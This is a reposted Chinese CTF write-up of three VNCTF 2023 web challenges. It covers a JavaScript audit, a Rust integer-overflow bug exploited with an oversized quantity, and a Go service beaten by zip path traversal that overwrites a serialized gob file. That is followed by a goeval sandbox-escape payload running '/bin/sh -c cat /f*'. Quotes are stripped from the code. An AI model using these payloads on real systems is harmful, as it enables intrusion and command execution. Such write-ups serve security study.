公司网站简介开发定制软件系统
news/
2025/9/24 19:08:35/
文章来源:
公司网站简介,开发定制软件系统,怎么做代理ip网站,阳江做网站详细解读文章目录 象棋王子电子木鱼BabyGo 象棋王子 考点#xff1a;前端js代码审计 直接查看js源码#xff0c;搜一下alert 丢到控制台即可
电子木鱼 考点#xff1a;整数溢出 main.rs我们分段分析
首先这段代码是一个基于Rust的web应用程序中的路由处理函数。它使用了Rust的异步… 文章目录 象棋王子电子木鱼BabyGo 象棋王子 考点前端js代码审计 直接查看js源码搜一下alert 丢到控制台即可
电子木鱼 考点整数溢出 main.rs我们分段分析
首先这段代码是一个基于Rust的web应用程序中的路由处理函数。它使用了Rust的异步框架Actix和模板引擎Tera。 然后就是定义了不同结构体并且自动生成了序列化
#[derive(Serialize)]
struct APIResult {success: bool,message: static str,
}#[derive(Deserialize)]
struct Info {name: String,quantity: i32,
}#[derive(Debug, Copy, Clone, Serialize)]
struct Payload {name: static str,cost: i32,
}给了payload列表
const PAYLOADS: [Payload] [Payload {name: Cost,cost: 10,},Payload {name: Loan,cost: -1_000,},Payload {name: CCCCCost,cost: 500,},Payload {name: Donate,cost: 1,},Payload {name: Sleep,cost: 0,},
];然后看向/路由
#[get(/)]
async fn index(tera: web::DataTera) - ResultHttpResponse, Error {let mut context Context::new();context.insert(gongde, GONGDE.get());if GONGDE.get() 1_000_000_000 {context.insert(flag,std::env::var(FLAG).unwrap_or_else(|_| flag{test_flag}.to_string()),);}match tera.render(index.html, context) {Ok(body) Ok(HttpResponse::Ok().body(body)),Err(err) Err(error::ErrorInternalServerError(err)),}
}在函数内部首先创建了一个Context对象。然后通过context.insert(gongde,GONGDE.get())将名为gongde的变量插入到上下文中其值使用了一个全局变量GONGDE的get()方法来获取。接下来通过判断GONGDE.get()的值是否大于1,000,000,000如果是则返回flag
最后分析/upgrade路由
#[post(/upgrade)]
async fn upgrade(body: web::FormInfo) - JsonAPIResult {if GONGDE.get() 0 {return web::Json(APIResult {success: false,message: 功德都搞成负数了佛祖对你很失望,});}if body.quantity 0 {return web::Json(APIResult {success: false,message: 佛祖面前都敢作弊真不怕遭报应啊,});}if let Some(payload) PAYLOADS.iter().find(|u| u.name body.name) {let mut cost payload.cost;if payload.name Donate || payload.name Cost {cost * body.quantity;}if GONGDE.get() cost as i32 {return web::Json(APIResult {success: false,message: 功德不足,});}if cost ! 0 {GONGDE.set(GONGDE.get() - cost as i32);}if payload.name Cost {return web::Json(APIResult {success: true,message: 小扣一手功德,});} else if payload.name CCCCCost {return web::Json(APIResult {success: true,message: 功德都快扣没了怎么睡得着的,});} else if payload.name Loan {return web::Json(APIResult {success: true,message: 我向佛祖许愿佛祖借我功德快说谢谢佛祖,});} else if payload.name Donate {return web::Json(APIResult {success: true,message: 好人有好报,});} else if payload.name Sleep {return web::Json(APIResult {success: true,message: 这是什么床睡一下,});}}web::Json(APIResult {success: false,message: 禁止开摆,})
}POST接收info结构体的参数进行解析然后返回json格式的APIResult类型的值然后判断GONGDE.get() 的值是否小于0POST请求参数quantity值是否小于等于0如果name的值等于Donate或者Cost进行自乘如果大于i32则会造成整数溢出 i32 是 Rust 编程语言中的一种整数类型。它代表有符号的 32 位整数可以存储的整数范围为 -2,147,483,648 到 2,147,483,647。 nameLoanquantity11451411发现成功加了1000功德 然后修改name为Cost
得到flag BabyGo 考点文件覆盖、go沙箱逃逸 源码如下
package mainimport (encoding/gobfmtgithub.com/PaulXu-cn/goevalgithub.com/duke-git/lancet/cryptorgithub.com/duke-git/lancet/fileutilgithub.com/duke-git/lancet/randomgithub.com/gin-contrib/sessionsgithub.com/gin-contrib/sessions/cookiegithub.com/gin-gonic/ginnet/httpospath/filepathstrings
)type User struct {Name stringPath stringPower string
}func main() {r : gin.Default()store : cookie.NewStore(random.RandBytes(16))r.Use(sessions.Sessions(session, store))r.LoadHTMLGlob(template/*)r.GET(/, func(c *gin.Context) {userDir : /tmp/ cryptor.Md5String(c.ClientIP()VNCTF2023GoGoGo~) /session : sessions.Default(c)session.Set(shallow, userDir)session.Save()fileutil.CreateDir(userDir)gobFile, _ : os.Create(userDir user.gob)user : User{Name: ctfer, Path: userDir, Power: low}encoder : gob.NewEncoder(gobFile)encoder.Encode(user)if fileutil.IsExist(userDir) fileutil.IsExist(userDiruser.gob) {c.HTML(200, index.html, gin.H{message: Your path: userDir})return}c.HTML(500, index.html, gin.H{message: failed to make user dir})})r.GET(/upload, func(c *gin.Context) {c.HTML(200, upload.html, gin.H{message: upload me!})})r.POST(/upload, func(c *gin.Context) {session : sessions.Default(c)if session.Get(shallow) nil {c.Redirect(http.StatusFound, /)}userUploadDir : session.Get(shallow).(string) uploads/fileutil.CreateDir(userUploadDir)file, err : c.FormFile(file)if err ! nil {c.HTML(500, upload.html, gin.H{message: no file upload})return}ext : file.Filename[strings.LastIndex(file.Filename, .):]if ext .gob || ext .go {c.HTML(500, upload.html, gin.H{message: Hacker!})return}filename : userUploadDir file.Filenameif fileutil.IsExist(filename) {fileutil.RemoveFile(filename)}err c.SaveUploadedFile(file, filename)if err ! nil {c.HTML(500, upload.html, gin.H{message: failed to save file})return}c.HTML(200, upload.html, gin.H{message: file saved to filename})})r.GET(/unzip, func(c *gin.Context) {session : sessions.Default(c)if session.Get(shallow) nil {c.Redirect(http.StatusFound, /)}userUploadDir : session.Get(shallow).(string) uploads/files, _ : fileutil.ListFileNames(userUploadDir)destPath : filepath.Clean(userUploadDir c.Query(path))for _, file : range files {if fileutil.MiMeType(userUploadDirfile) application/zip {err : fileutil.UnZip(userUploadDirfile, destPath)if err ! nil {c.HTML(200, zip.html, gin.H{message: failed to unzip file})return}fileutil.RemoveFile(userUploadDir file)}}c.HTML(200, zip.html, gin.H{message: success unzip})})r.GET(/backdoor, func(c *gin.Context) {session : sessions.Default(c)if session.Get(shallow) nil {c.Redirect(http.StatusFound, /)}userDir : session.Get(shallow).(string)if fileutil.IsExist(userDir user.gob) {file, _ : os.Open(userDir user.gob)decoder : gob.NewDecoder(file)var ctfer Userdecoder.Decode(ctfer)if ctfer.Power admin {eval, err : goeval.Eval(, fmt.Println(\Good\), c.DefaultQuery(pkg, fmt))if err ! nil {fmt.Println(err)}c.HTML(200, backdoor.html, gin.H{message: string(eval)})return} else {c.HTML(200, backdoor.html, gin.H{message: low power})return}} else {c.HTML(500, backdoor.html, gin.H{message: no such user gob})return}})r.Run(:80)
}分析一下
/路由下定义了userDir为/tmp/xxx/然后将该值赋值给session的键名shallow接着创建目录读取user.gob并且创建user对象具有三个属性。最后创建了一个新的Gob编码器encoder并使用encoder.Encode方法将user对象编码并写入gobFile文件。通过调用Encode方法user对象的值将被序列化并写入文件中/upload路由就是简单的文件上传功能限制了上传文件类型不能为go和gob/unzip路由定义userUploadDir为session的shallow值拼接上uploads/然后destPath由userUploadDir拼接上GET请求中可控参数名path。也就是说我们可以任意路径文件解压/backdoor路由读取user.gob文件内容判断是否为admin如果是则返回good
整体思路我们利用任意路径文件解压和文件覆盖来实现覆盖user.gob使得身份为admin然后利用/backdoor的eval实现命令执行
我们已经知道user.gob的生成方式 那么我们创建user.go内容如下
package mainimport (encoding/gobos
)type User struct {Name stringPath stringPower string
}func main() {gobFile, _ : os.Create(user.gob)user : User{Name: ctfer, Path: /tmp/4f0436fe5585d82af7c4545984d58188/, Power: admin}encoder : gob.NewEncoder(gobFile)encoder.Encode(user)
}go run一下得到user.gob 然后丢到linux里压缩成zip 上传文件后访问/unzip去解压到对应路径 然后我们访问一下/backdoor成功覆盖 接下来就是如何命令执行 参考文章 这里考点是go语言沙箱逃逸 payload
/backdoor?pkgos/exec%0Afmt)%0Afunc%09init()%7B%0Acmd:exec.Command(/bin/sh,-c,cat${IFS}/f*)%0Ares,err:cmd.CombinedOutput()%0Afmt.Println(err)%0Afmt.Println(res)%0A}%0Aconst(%0AMessagefmtpython脚本解一下得到flag
str [102,108,97,103,123,102,54,52,99,98,52,56,53,45,101,98,57,53,45,52,52,50,99,45,57,99,49,54,45,55,100,102,98,48,52,97,100,102,57,57,101,125,10]for i in range(42):print(chr(str[i]),end)
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/916121.shtml
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!